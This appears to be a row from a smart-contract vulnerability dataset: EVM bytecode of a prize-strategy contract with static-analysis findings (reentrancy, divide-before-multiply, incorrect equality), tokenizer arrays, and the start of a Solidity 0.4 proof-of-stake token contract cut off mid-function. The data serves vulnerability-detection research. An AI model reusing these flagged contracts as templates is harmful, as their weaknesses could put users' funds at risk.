2015290519081900360640190fd5b6115b66127ef565b610fb981612dcd565b6115c76127eb565b6001600160a01b03166115d86116df565b6001600160a01b031614611621576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b6116296127ef565b6001600160a01b038116158061165457506116546001600160a01b038216632ba8396360e11b612861565b61168f5760405162461bcd60e51b81526004018080602001828103825260358152602001806145066035913960400191505060405180910390fd5b607280546001600160a01b0319166001600160a01b0383169081179091556040517fda05d50a3a1ec0ffab059f1d457ae59f68ccfb3ffbb4dad283c516f9103d584b90600090a250565b60755490565b6033546001600160a01b031690565b606a5481565b6001600160a01b0381166000908152606f602090815260409182902080548351818402810184019094528084526060939283018282801561175457602002820191906000526020600020905b815481526020019060010190808311611740575b50505050509050919050565b6000610aaa612db4565b60765460ff1681565b60745463ffffffff1681565b6117876127eb565b6001600160a01b03166117986116df565b6001600160a01b0316146117e1576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b6117e96127ef565b6117f5606b8284612bf6565b6040516001600160a01b038316907f58982464497acdab11ad29d39907e076b0d3b8daf1d9b734174c7c3a2a0e8c7490600090a25050565b6065546001600160a01b03166118416127eb565b6001600160a01b0316146118865760405162461bcd60e51b81526004018080602001828103825260268152602001806149cb6026913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031614156118d75760405162461bcd60e51b81526004018080602001828103825260278152602001806149a46027913960400191505060405180910390fd5b6066546001600160a01b03828116911614156118f5576118f56127ef565b6070546001600160a01b031615611984576070546040805163b221095760e01b81526001600160a01b03878116600483015286811660248301526044820186905284811660648301529151919092169163b221095791608480830192600092919082900301818387803b15801561196b57600080fd5b505af115801561197f573d6000803e3d6000fd5b505050505b50505050565b611992612db4565b6119cd5760405162461bcd60e51b815260040180806020018281038252602c81526020018061465e602c913960400191505060405180910390fd5b6119d5610a85565b15611a115760405162461bcd60e51b815260040180806020018281038252602c815260200180614978602c913960400191505060405180910390fd5b60685460408051630d37b53760e01b8152815160009384936001600160a01b0390911692630d37b5379260048083019392829003018186803b158015611a5657600080fd5b505afa158015611a6a573d6000803e3d6000fd5b505050506040513d6040811015611a8057600080fd5b50805160209091015190925090506001600160a01b03821615801590611aa65750600081115b15611ac557606854611ac5906001600160a01b03848116911683612e47565b6068546040805163433c53d960e11b8152815160009384936001600160a01b0390911692638678a7b2926004808301939282900301818787803b158015611b0b57600080fd5b505af1158015611b1f573d6000803e3d6000fd5b505050506040513d6040811015611b3557600080fd5b5080516020909101516073805463ffffffff808416600160201b0267ffffffff000000001991861663ffffffff1990931692909217161790559092509050611b83611b7e612db0565b612f5a565b607380546bffffffff00000000000000001916600160401b63ffffffff93841602179055606554908316906001600160a01b0316611bbf6127eb565b6001600160a01b03167f4d31e658dcf617bb3a3c8cf7c6dddb33f7030ac588e271631ecdb5d76c2e91ef84604051808263ffffffff16815260200191505060405180910390a450505050565b6072546001600160a01b031681565b606554604080516318c1996d60e21b815290516000926001600160a01b03169163630665b4916004808301926020929190829003018186803b158015610de857600080fd5b611c676116df565b6001600160a01b0316611c786127eb565b6001600160a01b03161480611ca757506072546001600160a01b0316611c9c6127eb565b6001600160a01b0316145b80611ccc57506071546001600160a01b0316611cc16127eb565b6001600160a01b0316145b611d075760405162461bcd60e51b815260040180806020018281038252602d8152602001806147bb602d913960400191505060405180910390fd5b611d0f6127ef565b60655460408051636a3fd4f960e01b81526001600160a01b03868116600483015291519190921691636a3fd4f9916024808301926020929190829003018186803b158015611d5c57600080fd5b505afa158015611d70573d6000803e3d6000fd5b505050506040513d6020811015611d8657600080fd5b5051611dc35760405162461bcd60e51b815260040180806020018281038252602c8152602001806144da602c913960400191505060405180910390fd5b611ddd6001600160a01b0384166380ac58cd60e01b612861565b611e185760405162461bcd60e51b815260040180806020018281038252602581526020018061491d6025913960400191505060405180910390fd5b611e23606d84612fa2565b611e3257611e32606d84612ff3565b60005b81811015611e6157611e5984848484818110611e4d57fe5b905060200201356130f9565b600101611e35565b50826001600160a01b03167f51541dc4b4c08a16085809cccdc4cc77d8000b60fbb00142e57f236d84298675838360405180806020018281038252848482818152602001925060200280828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b611edc6127eb565b6001600160a01b0316611eed6116df565b6001600160a01b031614611f36576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b611f3e6127ef565b610fb98161327f565b6000610aaa6126d1565b6068546001600160a01b031681565b611f68610a85565b611fa35760405162461bcd60e51b8152600401808060200182810382526028815260200180614a1d6028913960400191505060405180910390fd5b611fab610d94565b611fe65760405162461bcd60e51b81526004018080602001828103825260278152602001806148826027913960400191505060405180910390fd5b606854607354604080516313a54bf360e31b815263ffffffff9092166004830152516000926001600160a01b031691639d2a5f9891602480830192602092919082900301818787803b15801561203b57600080fd5b505af115801561204f573d6000803e3d6000fd5b505050506040513d602081101561206557600080fd5b5051607380546bffffffffffffffffffffffff191690556071549091506001600160a01b031615612100576071546069546040805163266fce1f60e11b8152600481018590526024810192909252516001600160a01b0390921691634cdf9c3e9160448082019260009290919082900301818387803b1580156120e757600080fd5b505af11580156120fb573d6000803e3d6000fd5b505050505b61210981613318565b6072546001600160a01b03161561218a5760725460695460408051632ba8396360e11b8152600481018590526024810192909252516001600160a01b039092169163575072c69160448082019260009290919082900301818387803b15801561217157600080fd5b505af1158015612185573d6000803e3d6000fd5b505050505b61219a612195612db0565b612964565b6069556121a56127eb565b6001600160a01b03167f9c4163ece98173eab9a496c4db8bf3e2c8edcc5d2854377880597ccb858b7a9d826040518082815260200191505060405180910390a26069546121f06127eb565b6001600160a01b03167fc61852c20f0b03b31d782f3022f2bf20322ac17ce66c5349fb6e24740cdd645660405160405180910390a350565b6122306127eb565b6001600160a01b03166122416116df565b6001600160a01b03161461228a576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b6001600160a01b0381166122cf5760405162461bcd60e51b815260040180806020018281038252602681526020018061453b6026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b600054610100900460ff16806123445750612344612737565b80612352575060005460ff16155b61238d5760405162461bcd60e51b815260040180806020018281038252602e8152602001806146b0602e913960400191505060405180910390fd5b600054610100900460ff161580156123b8576000805460ff1961ff0019909116610100171660011790555b6001600160a01b0385166123fd5760405162461bcd60e51b815260040180806020018281038252602a815260200180614584602a913960400191505060405180910390fd5b6001600160a01b0384166124425760405162461bcd60e51b815260040180806020018281038252602681526020018061468a6026913960400191505060405180910390fd5b6001600160a01b0383166124875760405162461bcd60e51b81526004018080602001828103825260238152602001806145616023913960400191505060405180910390fd5b606580546001600160a01b038088166001600160a01b0319928316179092556066805487841690831617905560688054928616929091169190911790556124cd86612dcd565b6124d56137bb565b604080516329965a1d60e01b815230600482018190527fb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b602483015260448201529051731820a4b7618bde71dce8cdc73aab6c95905fad24916329965a1d91606480830192600092919082900301818387803b15801561255457600080fd5b505af1158015612568573d6000803e3d6000fd5b50505050612576606b61386c565b60005b82518110156125a65761259e83828151811061259157fe5b60200260200101516129ab565b600101612579565b506069879055606a8690556125bb606d61386c565b6125c661070861327f565b846001600160a01b03167f08df3eb19fd45e75c3427461686799fdfd60a8c9a1d0880105960f65a513ce74888887878760405180868152602001858152602001846001600160a01b03168152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015612660578181015183820152602001612648565b50505050905001965050505050505060405180910390a26069546126826127eb565b6001600160a01b03167fc61852c20f0b03b31d782f3022f2bf20322ac17ce66c5349fb6e24740cdd645660405160405180910390a38015610a6d576000805461ff001916905550505050505050565b6000806126dc6127d2565b905060006126e8612db0565b9050818111156126fd57600092505050610a91565b61270782826138cf565b9250505090565b600080612723670de0b6b3a76400008561392c565b905061272f8184613985565b949350505050565b6000611546306139ef565b60008111612797576040805162461bcd60e51b815260206004820181905260248201527f4d554c5449504c4557494e4e4552533a2057494e4e4552535f4754455f4f4e45604482015290519081900360640190fd5b60758190556040805182815290517fc44c7222e8df09744ced394101df47e78dedb642d3065267bb388901de9df6d49181900360200190a150565b6000610aaa606a54606954612d5690919063ffffffff16565b3390565b60006127f96139f5565b607354909150600160201b900463ffffffff1615806128265750607354600160201b900463ffffffff1681105b610fb95760405162461bcd60e51b81526004018080602001828103825260248152602001806147106024913960400191505060405180910390fd5b600061286c836139f9565b801561287d575061287d8383613a2c565b9392505050565b606080826000015467ffffffffffffffff811180156128a257600080fd5b506040519080825280602002602001820160405280156128cc578160200160208202803683370190505b50600160008181529085016020526040812054919250906001600160a01b03165b6001600160a01b0381161580159061290f57506001600160a01b038116600114155b1561295b578083838151811061292157fe5b6001600160a01b039283166020918202929092018101919091529181166000908152600180880190935260409020549290910191166128ed565b50909392505050565b600080612988606a54612982606954866138cf90919063ffffffff16565b90613a52565b905061287d6129a2606a548361392c90919063ffffffff16565b60695490612d56565b6129bd816001600160a01b03166139ef565b6129f85760405162461bcd60e51b81526004018080602001828103825260218152602001806147346021913960400191505060405180910390fd5b60655460408051636a3fd4f960e01b81526001600160a01b03848116600483015291519190921691636a3fd4f9916024808301926020929190829003018186803b158015612a4557600080fd5b505afa158015612a59573d6000803e3d6000fd5b505050506040513d6020811015612a6f57600080fd5b5051612aac5760405162461bcd60e51b815260040180806020018281038252602c8152602001806144da602c913960400191505060405180910390fd5b60408051600481526024810182526020810180516001600160e01b03166318160ddd60e01b178152915181516000936001600160a01b0386169392918291908083835b60208310612b0e5780518252601f199092019160209182019101612aef565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114612b6e576040519150601f19603f3d011682016040523d82523d6000602084013e612b73565b606091505b5050905080612bb35760405162461bcd60e51b81526004018080602001828103825260248152602001806148a96024913960400191505060405180910390fd5b612bbe606b83612ff3565b6040516001600160a01b038316907fbcd6d991f3416e288bf59a2997b423772937b62c7ea7dd1a54af7771de1f741890600090a25050565b6001600160a01b038116600114801590612c1857506001600160a01b03811615155b612c535760405162461bcd60e51b815260040180806020018281038252602781526020018061485b6027913960400191505060405180910390fd5b6001600160a01b038281166000908152600185016020526040902054811690821614612cb05760405162461bcd60e51b815260040180806020018281038252602781526020018061485b6027913960400191505060405180910390fd5b6001600160a01b039081166000818152600185016020526040808220805495851683529082208054959094166001600160a01b03199586161790935552805490911690558054600019019055565b6001600160a01b0381166000908152606f60205260408120612d1f916144ab565b6040516001600160a01b038216907fcd64d9dacd230c5ccf1278ea5332b0621aa28c950fb0e61c8fbc9e2011c88a3490600090a250565b60008282018381101561287d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b4290565b6000612dbe6127d2565b612dc6612db0565b1015905090565b60008111612e0c5760405162461bcd60e51b81526004018080602001828103825260358152602001806145dc6035913960400191505060405180910390fd5b606a8190556040805182815290517f0d379c1a7282461e725a9dc2d74e65246c77e98ae93835e26c2f1654c48ee4ec9181900360200190a150565b801580612ecd575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015612e9f57600080fd5b505afa158015612eb3573d6000803e3d6000fd5b505050506040513d6020811015612ec957600080fd5b5051155b612f085760405162461bcd60e51b81526004018080602001828103825260368152602001806149426036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610cc2908490613ab9565b6000600160201b8210612f9e5760405162461bcd60e51b81526004018080602001828103825260268152602001806148cd6026913960400191505060405180910390fd5b5090565b60006001600160a01b038216600114801590612fc657506001600160a01b03821615155b801561287d5750506001600160a01b03908116600090815260019290920160205260409091205416151590565b6001600160a01b03811660011480159061301557506001600160a01b03811615155b6130505760405162461bcd60e51b815260040180806020018281038252602781526020018061485b6027913960400191505060405180910390fd5b6001600160a01b03818116600090815260018401602052604090205416156130a95760405162461bcd60e51b81526004018080602001828103825260258152602001806147556025913960400191505060405180910390fd5b60016000818152838201602052604080822080546001600160a01b039586168085529284208054969091166001600160a01b03199687161790559183905281549093169092179091558154019055565b606554604080516331a9108f60e11b81526004810184905290516001600160a01b0392831692851691636352211e916024808301926020929190829003018186803b15801561314757600080fd5b505afa15801561315b573d6000803e3d6000fd5b505050506040513d602081101561317157600080fd5b50516001600160a01b0316146131b85760405162461bcd60e51b81526004018080602001828103825260288152602001806148336028913960400191505060405180910390fd5b60005b6001600160a01b0383166000908152606f6020526040902054811015613252576001600160a01b0383166000908152606f6020526040902080548391908390811061320257fe5b9060005260206000200154141561324a5760405162461bcd60e51b81526004018080602001828103825260278152602001806147e86027913960400191505060405180910390fd5b6001016131bb565b506001600160a01b039091166000908152606f602090815260408220805460018101825590835291200155565b603c8163ffffffff16116132c45760405162461bcd60e51b815260040180806020018281038252602c8152602001806149f1602c913960400191505060405180910390fd5b6074805463ffffffff191663ffffffff838116919091179182905560408051929091168252517f4f27f6f220ffad585e728389bc2f0f6b74eeebeb43f95f53752a647cb6e7e687916020908290030190a150565b6065546040805163e6d8a94b60e01b815290516000926001600160a01b03169163e6d8a94b91600480830192602092919082900301818787803b15801561335e57600080fd5b505af1158015613372573d6000803e3d6000fd5b505050506040513d602081101561338857600080fd5b505160665460408051633b30414760e01b81526004810186905290519293506000926001600160a01b0390921691633b30414791602480820192602092909190829003018186803b1580156133dc57600080fd5b505afa1580156133f0573d6000803e3d6000fd5b505050506040513d602081101561340657600080fd5b505190506001600160a01b038116613448576040517f3728feb3fc1ef1bf4a24036afbe7d34b59c551bf0d2ab5564e87ec1734fa80dd90600090a15050610fb9565b61345181613b6a565b606060755467ffffffffffffffff8111801561346c57600080fd5b50604051908082528060200260200182016040528015613496578160200160208202803683370190505b50905081816000815181106134a757fe5b6001600160a01b03909216602092830291909101909101528360015b6075548110156135a157604080516102098302939093016101f301602080850191909152815180850382018152848301808452815191830191909120606654633b30414760e01b909252604486018190529251929485936001600160a01b0390921692633b30414792606480840193829003018186803b15801561354657600080fd5b505afa15801561355a573d6000803e3d6000fd5b505050506040513d602081101561357057600080fd5b5051845185908490811061358057fe5b6001600160a01b0390921660209283029190910190910152506001016134c3565b5060006135b8835186613a5290919063ffffffff16565b905080156135f35760005b83518110156135f1576135e98482815181106135db57fe5b602002602001015183613d27565b6001016135c3565b505b60765460ff16156137aa57600061360a606b613d9b565b90505b6001600160a01b03811615801590613640575061362a606b613db8565b6001600160a01b0316816001600160a01b031614155b156137a457606554604080516370a0823160e01b81526001600160a01b03928316600482015290516000928416916370a08231916024808301926020929190829003018186803b15801561369357600080fd5b505afa1580156136a7573d6000803e3d6000fd5b505050506040513d60208110156136bd57600080fd5b50516075549091506000906136d3908390613a52565b905080156137905760005b865181101561378e5760655487516001600160a01b0390911690632b0ab1449089908490811061370a57fe5b602002602001015186856040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b15801561376a57600080fd5b505af115801561377e573d6000803e3d6000fd5b5050600190920191506136de9050565b505b61379b606b84613dbe565b9250505061360d565b506137b3565b6137b384613de1565b505050505050565b600054610100900460ff16806137d457506137d4612737565b806137e2575060005460ff16155b61381d5760405162461bcd60e51b815260040180806020018281038252602e8152602001806146b0602e913960400191505060405180910390fd5b600054610100900460ff16158015613848576000805460ff1961ff0019909116610100171660011790555b613850613f33565b613858613fd3565b8015610fb9576000805461ff001916905550565b8054156138aa5760405162461bcd60e51b815260040180806020018281038252602481526020018061480f6024913960400191505060405180910390fd5b60016000818152918101602052604090912080546001600160a01b0319169091179055565b600082821115613926576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008261393b57506000610978565b8282028284828161394857fe5b041461287d5760405162461bcd60e51b815260040180806020018281038252602181526020018061477a6021913960400191505060405180910390fd5b60008082116139db576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816139e657fe5b04949350505050565b3b151590565b4390565b6000613a0c826301ffc9a760e01b613a2c565b80156109785750613a25826001600160e01b0319613a2c565b1592915050565b6000806000613a3b85856140cc565b91509150818015613a495750805b95945050505050565b6000808211613aa8576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381613ab157fe5b049392505050565b6060613b0e826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166142009092919063ffffffff16565b805190915015610cc257808060200190516020811015613b2d57600080fd5b5051610cc25760405162461bcd60e51b815260040180806020018281038252602a8152602001806148f3602a913960400191505060405180910390fd5b6000613b76606d613d9b565b90505b6001600160a01b03811615801590613bac5750613b96606d613db8565b6001600160a01b0316816001600160a01b031614155b15613d1d57606554604080516370a0823160e01b81526001600160a01b03928316600482015290516000928416916370a08231916024808301926020929190829003018186803b158015613bff57600080fd5b505afa158015613c13573d6000803e3d6000fd5b505050506040513d6020811015613c2957600080fd5b505190508015613d0a576065546001600160a01b038381166000818152606f60205260409081902090516316960d5560e01b815287841660048201908152602482019390935260606044820190815282546064830181905294909516946316960d5594899489949390929160849091019084908015613cc757602002820191906000526020600020905b815481526020019060010190808311613cb3575b5050945050505050600060405180830381600087803b158015613ce957600080fd5b505af1158015613cfd573d6000803e3d6000fd5b50505050613d0a82612cfe565b613d15606d83613dbe565b915050613b79565b611260606d61420f565b6065546066546040805163358dc31d60e11b81526001600160a01b03868116600483015260248201869052928316604482015290519190921691636b1b863a91606480830192600092919082900301818387803b158015613d8757600080fd5b505af11580156137b3573d6000803e3d6000fd5b60016000818152910160205260409020546001600160a01b031690565b50600190565b6001600160a01b0380821660009081526001840160205260409020541692915050565b6000613ded606b613d9b565b90505b6001600160a01b03811615801590613e235750613e0d606b613db8565b6001600160a01b0316816001600160a01b031614155b1561126057606554604080516370a0823160e01b81526001600160a01b03928316600482015290516000928416916370a08231916024808301926020929190829003018186803b158015613e7657600080fd5b505afa158015613e8a573d6000803e3d6000fd5b505050506040513d6020811015613ea057600080fd5b505190508015613f205760655460408051630ac2ac5160e21b81526001600160a01b03868116600483015285811660248301526044820185905291519190921691632b0ab14491606480830192600092919082900301818387803b158015613f0757600080fd5b505af1158015613f1b573d6000803e3d6000fd5b505050505b613f2b606b83613dbe565b915050613df0565b600054610100900460ff1680613f4c5750613f4c612737565b80613f5a575060005460ff16155b613f955760405162461bcd60e51b815260040180806020018281038252602e8152602001806146b0602e913960400191505060405180910390fd5b600054610100900460ff16158015613858576000805460ff1961ff0019909116610100171660011790558015610fb9576000805461ff001916905550565b600054610100900460ff1680613fec5750613fec612737565b80613ffa575060005460ff16155b6140355760405162461bcd60e51b815260040180806020018281038252602e8152602001806146b0602e913960400191505060405180910390fd5b600054610100900460ff16158015614060576000805460ff1961ff0019909116610100171660011790555b600061406a6127eb565b603380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610fb9576000805461ff001916905550565b604080516001600160e01b0319831660248083019190915282518083039091018152604490910182526020810180516001600160e01b03166301ffc9a760e01b1781529151815160009384939284926060926001600160a01b038a169261753092879282918083835b602083106141545780518252601f199092019160209182019101614135565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303818686fa925050503d80600081146141b5576040519150601f19603f3d011682016040523d82523d6000602084013e6141ba565b606091505b50915091506020815110156141d857600080945094505050506141f9565b818180602001905160208110156141ee57600080fd5b505190955093505050505b9250929050565b606061272f84846000856142ab565b6001600081815290820160205260409020546001600160a01b03165b6001600160a01b0381161580159061424d57506001600160a01b038116600114155b15614283576001600160a01b039081166000908152600183016020526040902080546001600160a01b031981169091551661422b565b50600160008181528282016020526040812080546001600160a01b0319169092179091559055565b6060824710156142ec5760405162461bcd60e51b81526004018080602001828103825260268152602001806146386026913960400191505060405180910390fd5b6142f5856139ef565b614346576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106143855780518252601f199092019160209182019101614366565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146143e7576040519150601f19603f3d011682016040523d82523d6000602084013e6143ec565b606091505b50915091506143fc828286614407565b979650505050505050565b6060831561441657508161287d565b8251156144265782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614470578181015183820152602001614458565b50505050905090810190601f16801561449d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5080546000825590600052602060002090810190610fb991905b80821115612f9e57600081556001016144c556fe504552494f4449435052495a4553545241544547593a2043414e4e4f545f41574152445f45585445524e414c504552494f4449435052495a4553545241544547593a205052495a4553545241544547594c49535445524e45525f494e56414c49444f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373504552494f4449435052495a4553545241544547593a20524e475f4e4f545f5a45524f504552494f4449435052495a4553545241544547593a205052495a455f504f4f4c5f4e4f545f5a45524f504552494f4449435052495a4553545241544547593a20544f4b454e5f4c49535445524e45525f494e56414c4944504552494f4449435052495a4553545241544547593a205052495a455f504552494f445f475245415445525f5448414e5f5a45524f504552494f4449435052495a4553545241544547593a20524e475f4e4f545f54494d45444f5554416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c504552494f4449435052495a4553545241544547593a205052495a455f504552494f445f4e4f545f4f564552504552494f4449435052495a4553545241544547593a205449434b45545f4e4f545f5a45524f496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564504552494f4449435052495a4553545241544547593a204245464f524541574152444c495354454e45525f494e56414c4944504552494f4449435052495a4553545241544547593a20524e475f494e5f464c49474854504552494f4449435052495a4553545241544547593a2045524332305f4e554c4c4d415050454453494e474c594c494e4b45444c4953543a20414c52454144595f4144444544536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572504552494f4449435052495a4553545241544547593a204f4e4c595f4f574e45525f4f525f4c495354454e4552504552494f4449435052495a4553545241544547593a204552433732315f4455504c49434154454d415050454453494e474c594c494e4b45444c4953543a20414c52454144595f494e4954504552494f4449435052495a4553545241544547593a20554e415641494c41424c455f544f4b454e4d415050454453494e474c594c494e4b45444c4953543a20494e56414c49445f41444452455353504552494f4449435052495a4553545241544547593a20524e475f4e4f545f434f4d504c455445504552494f4449435052495a4553545241544547593a2045524332305f494e56414c494453616665436173743a2076616c756520646f65736e27742066697420696e20333220626974735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564504552494f4449435052495a4553545241544547593a204552433732315f494e56414c49445361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365504552494f4449435052495a4553545241544547593a20524e475f414c52454144595f524551554553544544504552494f4449435052495a4553545241544547593a205452414e534645525f544f5f53454c46504552494f4449435052495a4553545241544547593a204f4e4c595f5052495a455f504f4f4c506572696f6469635072697a6553747261746567792f726e672d74696d656f75742d67742d36302d73656373504552494f4449435052495a4553545241544547593a20524e475f4e4f545f524551554553544544a2646970667358221220b0a84703a55eabbb92d2e902afc86b440125a91c1bcb2e79a746c0b9485cbd9564736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2581,
2546,
2692,
18827,
4246,
19317,
22275,
2050,
17465,
2278,
2575,
2620,
2487,
2050,
22203,
11329,
4246,
21486,
21057,
14526,
2546,
2094,
2620,
23632,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
6279,
24170,
3085,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
2008,
2019,
4769,
2005,
2029,
2023,
3853,
5651,
1008,
6270,
2003,
2019,
27223,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,524 | 0x954850eef59d5714b45a87d27f9b871399784860 | pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title PoSTokenStandard
* @dev the interface of PoSTokenStandard
*/
contract STAKDStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract STAKDToken is ERC20,STAKDStandard,Ownable {
using SafeMath for uint256;
string public name = "STAKD Token";
string public symbol = "SKD";
uint public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 1 days; // minimum age for coin age: 1D
uint public stakeMaxAge = 90 days; // stake age of full weight: 90D
uint public maxMintProofOfStake = 10**17; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
address treasury;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event TreasuryChange(address caller, address treasury);
event Burn(address indexed burner, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier onlyTreasury() {
require (msg.sender == treasury);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function STAKDToken(address _treasury) {
maxTotalSupply = 10**25; // 10 Mil.
totalInitialSupply = 10**24; // 1 Mil.
chainStartTime = now;
chainStartBlockNumber = block.number;
treasury = _treasury;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
